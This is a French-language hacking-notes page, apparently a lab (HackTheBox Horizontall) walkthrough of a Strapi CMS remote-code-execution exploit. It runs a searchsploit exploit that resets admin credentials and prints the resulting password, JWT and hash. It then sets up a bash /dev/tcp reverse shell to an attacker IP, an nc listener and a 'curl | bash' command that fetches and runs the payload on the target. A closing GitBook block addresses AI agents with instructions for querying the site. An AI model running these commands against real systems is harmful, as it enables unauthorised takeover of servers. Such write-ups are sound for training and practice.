> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/cms/strapi-cms-exploitation.md).

# Strapi

### Exploitation RCE de Strapi CMS

Recherchez une vulnérabilité Strapi avec **searchsploit**:

```
searchsploit -m multiple/webapps/50239.py
```

<figure><img src="/files/07ef3275b8e59679f03b3ae8e69a94cc85ad7a85" alt=""><figcaption></figcaption></figure>

Nous utilisons l'exploit :

```bash
python3 50239.py http://api-prod.horet.horizontall.htb
```

<figure><img src="/files/86a400af0d8797fca7ca25f734750244d7664170" alt=""><figcaption></figcaption></figure>

Cela fournit des identifiants administrateur.

{% code overflow="wrap" %}

```javascript
[+] Votre e-mail est : admin@horizontall.htb
[+] Vos nouveaux identifiants sont : admin:SuperStrongPassword1 
[+] Votre JSON Web Token authentifié : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzQwNjk2NzU1LCJleHAiOjE3NDMyODg3NTV9.WMksWcYjinav1IGH6KHOU0tleELdaY2Wmy2-WufxGm0
```

{% endcode %}

<figure><img src="/files/7932bb2ea806e48ddc0c8133fbe7ceccf683a81b" alt=""><figcaption></figcaption></figure>

Récupérez le hachage du mot de passe pour le nouvel utilisateur créé :

* admin
* $2a$10$y5rS5PnHngnev02rnXIpF.a26DYsqCeSvPrLkKU1Go1Wp4.LTUhj6

<figure><img src="/files/961c523d155fa1d92762bb58827a3fba6fb5d6a1" alt=""><figcaption></figcaption></figure>

### Obtention d'un shell inverse

Créer un **index.html** fichier contenant une charge utile de shell inverse :

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.75/443 0>&1
```

Démarrez un serveur web :

```bash
python3 -m http.server 8080
```

Ouvrez un listener :

```bash
nc -nlvp 443
```

Exécutez ensuite la charge utile sur la cible :

```bash
curl http://10.10.14.75:8080 | bash
```

<figure><img src="/files/ecbea5bc82047fc88aa0c403493d9efe625a0c59" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/cms/strapi-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
